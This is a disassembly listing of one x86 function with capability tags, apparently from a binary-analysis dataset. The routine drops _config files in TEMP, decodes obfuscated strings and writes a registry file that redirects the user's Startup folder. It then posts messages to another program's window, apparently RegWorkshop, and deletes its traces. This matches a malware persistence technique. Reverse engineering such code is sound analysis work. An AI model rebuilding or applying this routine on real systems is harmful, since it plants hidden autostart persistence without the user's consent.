Function at 0x4028a0
Capabilities:
Contain obfuscated stackstrings
Create directory
Delete directory
Delete file
Query environment variable

Disassembly:
push edi
lea edi, [esp + 8]
and esp, 0xfffffff0
push dword [edi - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x1ac
mov dword [esp], str.TEMP
call sub.msvcrt.dll_getenv
lea ecx, [ebp - 0x198]
mov dword [esp], eax
call fcn.00401e70
lea eax, [ebp - 0x138]
sub esp, 4
call fcn.004020b0
mov dword [esp], 0x4bf0a0
lea ebx, [ebp - 0x110]
mov ecx, dword [ebp - 0x194]
mov edx, dword [ebp - 0x198]
mov eax, ebx
call fcn.00401df0
lea edi, [ebp - 0x150]
lea ecx, [ebp - 0x138]
mov edx, ebx
mov eax, edi
call fcn.00402000
mov dword [esp], edi
mov ecx, 0x5170f8
call fcn.00401f60
mov ecx, edi
sub esp, 4
call fcn.0049dd80
mov ecx, ebx
call fcn.0049dd80
lea ecx, [ebp - 0x138]
call fcn.0049dd80
mov dword [esp], str.temp:_n
call fcn.004016f0
mov eax, dword [0x5170f8]
mov dword [esp], eax
call fcn.004016f0
mov dword [esp], 0x4bf0a9
call fcn.004016f0
mov dword [esp + 4], 0
mov eax, dword [0x5170f8]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
sub esp, 8
mov eax, ebx
mov dword [esp], str._config.exe
mov ecx, dword [ebp - 0x194]
mov edx, dword [ebp - 0x198]
call fcn.00401df0
mov dword [esp], ebx
mov ecx, 0x5170e0
call fcn.00401f60
mov ecx, ebx
sub esp, 4
call fcn.0049dd80
mov dword [esp], str._config.inf
mov eax, ebx
mov ecx, dword [ebp - 0x194]
mov edx, dword [ebp - 0x198]
call fcn.00401df0
mov dword [esp], ebx
mov ecx, 0x5170c8
call fcn.00401f60
mov ecx, ebx
sub esp, 4
call fcn.0049dd80
mov dword [esp], str._config.lnk
mov eax, ebx
mov ecx, dword [0x5170fc]
mov edx, dword [0x5170f8]
call fcn.00401df0
mov dword [esp], ebx
mov ecx, 0x5170b0
call fcn.00401f60
mov ecx, ebx
sub esp, 4
call fcn.0049dd80
mov eax, dword [0x5170e0]
movdqu xmm0, xmmword [0x4bf2f0]
mov dword [ebp - 0x117], 0x6479642f
movdqu xmm1, xmmword [0x4bf300]
lea ecx, [ebp - 0x168]
movups xmmword [ebp - 0x138], xmm0
movups xmmword [ebp - 0x128], xmm1
mov dword [ebp - 0x11b], 0x6668676f
mov dword [esp], eax
call fcn.00401e70
sub esp, 4
mov ecx, 0x25
lea edx, [ebp - 0x138]
mov eax, ebx
call fcn.004019a0
mov eax, dword [ebp - 0x110]
mov ecx, edi
mov dword [esp], eax
call fcn.00401e70
sub esp, 4
lea edx, [ebp - 0x168]
mov eax, edi
call fcn.00402490
mov ecx, edi
call fcn.0049dd80
mov ecx, ebx
call fcn.0049dd80
lea ecx, [ebp - 0x168]
call fcn.0049dd80
mov dword [esp + 4], 0x10
mov ecx, ebx
mov dword [esp], 0x5170c8
call fcn.00491110
sub esp, 8
lea ecx, [ebp - 0xe8]
call fcn.0042ba80
test al, al
je 0x402c2e
mov dword [esp + 8], 0x24
mov dword [esp + 4], str.Windows_Registry_Editor_Version_5.00
mov dword [esp], ebx
call fcn.004ae240
mov eax, ebx
call fcn.00401f00
xor eax, eax
mov dword [esp + 4], 0x4bf09a
mov dword [esp + 8], eax
mov dword [esp], ebx
call fcn.004ae240
mov eax, ebx
call fcn.00401f00
mov dword [esp + 8], 0x59
mov dword [esp + 4], str._HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerUser_Shell_Folders_
mov dword [esp], ebx
call fcn.004ae240
mov eax, ebx
call fcn.00401f00
lea eax, [ebp - 0x178]
mov edx, dword [0x517098]
lea ecx, [ebp - 0x180]
mov dword [ebp - 0x180], eax
mov eax, dword [0x517094]
add edx, eax
mov dword [esp], eax
mov dword [esp + 4], edx
call fcn.00401920
push esi
push esi
mov eax, dword [ebp - 0x17c]
mov ecx, dword [ebp - 0x180]
test eax, eax
je 0x402bbc
xor esi, esi
jmp 0x402b77
add esi, 1
cmp esi, eax
jae 0x402bbc
cmp byte [ecx + esi], 0x5c
jne 0x402b70
mov dword [esp + 0xc], 2
lea ecx, [ebp - 0x180]
mov dword [esp + 8], 0x4bf156
mov dword [esp + 4], 1
mov dword [esp], esi
call fcn.004a0520
add esi, 1
mov eax, dword [ebp - 0x17c]
mov ecx, dword [ebp - 0x180]
sub esp, 0x10
add esi, 1
cmp esi, eax
jb 0x402b77
mov dword [esp], eax
mov edx, str._Startup__
mov eax, edi
call fcn.00401e30
mov dword [esp], 0x4bf165
mov ecx, edi
call fcn.0049f1d0
push edx
lea ecx, [ebp - 0x168]
mov dword [esp], eax
call fcn.004a0d60
push ecx
mov eax, dword [ebp - 0x164]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x168]
mov dword [esp], ebx
mov dword [esp + 4], eax
call fcn.004ae240
call fcn.00401f00
lea ecx, [ebp - 0x168]
call fcn.0049dd80
mov ecx, edi
call fcn.0049dd80
mov ecx, ebx
call fcn.00490da0
lea ecx, [ebp - 0x180]
call fcn.0049dd80
mov ecx, ebx
call fcn.00491750
mov eax, dword [0x5170cc]
mov edx, str._s__
mov dword [esp], eax
mov ecx, dword [0x5170c8]
mov eax, edi
call fcn.00401e30
mov dword [esp], 0x4bf165
mov ecx, edi
call fcn.0049f1d0
sub esp, 4
lea ecx, [ebp - 0x168]
mov dword [esp], eax
call fcn.004a0d60
mov eax, dword [0x5170e0]
mov ecx, ebx
sub esp, 4
mov dword [esp], eax
call fcn.00401e70
sub esp, 4
lea ecx, [ebp - 0x198]
lea edx, [ebp - 0x168]
mov eax, ebx
mov dword [esp], 0x5170b0
call fcn.00401a70
mov ecx, ebx
call fcn.0049dd80
lea ecx, [ebp - 0x168]
call fcn.0049dd80
mov ecx, edi
call fcn.0049dd80
mov ecx, 0xd
mov edx, edi
mov eax, ebx
mov dword [ebp - 0x14c], 0x73555e6d
mov dword [ebp - 0x150], 0x6d646952
mov dword [ebp - 0x14b], 0x6073555e
mov dword [ebp - 0x147], 0x656f5678
call fcn.004019a0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x110]
mov dword [esp], eax
call dword [sym.imp.USER32.dll_FindWindowA]
sub esp, 8
mov ecx, ebx
mov dword [ebp - 0x1a0], eax
mov esi, eax
call fcn.0049dd80
mov eax, dword [0x5170b0]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
sub esp, 4
mov word [ebp - 0x1a2], ax
mov edi, dword [sym.imp.USER32.dll_PostMessageA]
mov dword [esp + 0xc], 0
movzx eax, word [0x5170ac]
mov dword [esp + 4], 0x4ea
mov dword [esp + 8], eax
mov dword [esp], esi
call edi
mov edx, dword [sym.imp.KERNEL32.dll_Sleep]
sub esp, 0x10
mov dword [esp], 0xbb8
mov dword [ebp - 0x19c], edx
call edx
movzx eax, word [ebp - 0x1a2]
sub esp, 4
mov dword [esp + 0xc], eax
movzx eax, word [0x5170ac]
mov dword [esp + 4], 0x4e9
mov dword [esp + 8], eax
mov dword [esp], esi
call edi
sub esp, 0x10
xor esi, esi
cmp word [ebp - 0x1a2], 0
je 0x402e94
lea esi, [esi]
movzx eax, word [0x5170ac]
mov dword [esp + 8], esi
mov dword [esp + 4], 0x312
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x1a0]
mov dword [esp], eax
call edi
sub esp, 0x10
mov dword [esp], 0x3e8
mov eax, dword [ebp - 0x19c]
call eax
add esi, 1
sub esp, 4
cmp esi, 0xa
jne 0x402da8
mov dword [esp], 0x12c
mov eax, dword [ebp - 0x19c]
call eax
mov eax, 2
xor edx, edx
mov esi, dword [sym.imp.msvcrt.dll__errno]
sub esp, 4
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x10c], edx
mov dword [esp + 4], ebx
mov dword [esp], ebx
call fcn.00422fc0
cmp eax, 0xffffffff
je 0x402eb0
mov eax, dword [0x5170c8]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [esp], eax
call esi
mov eax, dword [0x5170e0]
sub esp, 4
mov dword [esp], eax
call esi
mov eax, dword [0x5170b0]
sub esp, 4
mov dword [esp], eax
call esi
sub esp, 4
mov eax, ebx
mov dword [esp], str.RegWorkshop.ini
mov ecx, dword [ebp - 0x194]
mov edx, dword [ebp - 0x198]
call fcn.00401df0
mov eax, dword [ebp - 0x110]
mov dword [esp], eax
call esi
sub esp, 4
mov ecx, ebx
call fcn.0049dd80
mov eax, dword [0x5170f8]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
sub esp, 4
lea ecx, [ebp - 0x198]
call fcn.0049dd80
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
lea esp, [edi - 8]
pop edi
ret
call esi
cmp dword [eax], 4
jne 0x402e27
jmp 0x402e12